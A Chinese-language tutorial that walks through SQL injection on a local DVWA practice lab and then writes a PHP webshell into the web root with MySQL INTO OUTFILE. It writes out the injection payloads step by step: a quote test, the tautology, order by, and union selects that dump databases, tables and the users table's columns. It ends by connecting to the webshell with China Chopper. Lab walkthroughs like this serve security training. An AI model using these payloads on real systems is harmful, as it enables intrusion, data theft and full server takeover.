MySQL获取PHP webshell
在渗透测试中,希望通过MySQL获取webshell需要满足以下几个条件:
1、对web目录有写权限
2、GPC关闭(是否对单引号进行转义)
3、知道服务器的绝对路径
4、secure-file-priv为打开的状态
至少要满足以上4个条件,才能顺利通过MySQL获取webshell
接下来,为了能够模拟出渗透这一个过程,使用dvwa靶场来进行模拟(当然相比于真正的时间,中间会省略很多过程)
首先打开dvwa靶场,他是搭建在本地的靶场,数据库和代码均保存在本地服务器中。这里我使用的是phpstudy集成环境,使用navicat作为数据库的视图工具
当然在实战过程中是不知道这些信息的,这里只是提前做一个演示
为了方便起见,就将安全级别设置为low,方便爆库。
首先判断是否存在注入点,输入1点击查询能查询出结果;输入 ' 发生报错说明这里存在注入点
输入
' or ' ' = '
对SQL语句进行拼接(这里不做过多解释,SQL注入详见:初识SQL注入,初识SQL盲注),爆出Firstname和Surname的所有信息。猜测字段数为2,使用order by,输入
1' order by 2 #
说明存在两个字段,再使用联合查询,输入
1' union select 1,2 #
所以我们知道字段1内容会显示在1的位置,字段2内容会显示在2的位置。那么可以通过SQL注入的方法来注出一些有用的信息
爆库名及版本信息
1' union select database(),version() #
爆当前用户
1' union select 1,user() #
爆所有数据库名
1' union select 1,schema_name from information_schema.schemata #
爆其中一个数据库dvwa的表名
1' union select 1,table_name from information_schema.tables where table_schema=database() #
爆users表的字段
1' union select 1,column_name from information_schema.columns where table_name = 'users' #
获取webshell,首先要知道目录(这里不展示目录了),可以使用语句
1' union select 1,@@datadir#
为了获取webshell,还需要数据库开启secure_file_priv,这个需要手动配置(当然在实战中需要数据库已经开启secure_file_priv,这里为了效果就手动开)。找到数据库安装目录下的my.ini,添加
secure_file_priv=
ctrl+s保存,然后重启MySQL(一定要记得重启)
在数据库命令行中输入
show variables like '%secure%';
若如上图所示为空则表示已经开启,如果为NULL说明MySQL没有重启。
还需要满足对表有插入的权限,在实战中这里涉及到提权,将权限提升至root,这里无法演示就直接在数据库插入一句话木马
然后进行导出的操作,输入
SELECT avatar FROM users WHERE user_id='6' into outfile "G:\php\phpstudy\PHPTutorial\WWW\webshell.php";
查看服务器下已经有webshell这个文件
现在使用菜刀连接
成功获取webshell,可以进行任意操作
成功通过MySQL获取webshell。
实战中情况会复杂很多,这里只做简单的演示。总的来说就是先将一句话木马存至数据库中,再将这个字段导出为PHP文件至服务器目录下,通过菜刀连接。至于数据库的信息和权限需要分别通过爆库和提权来实现。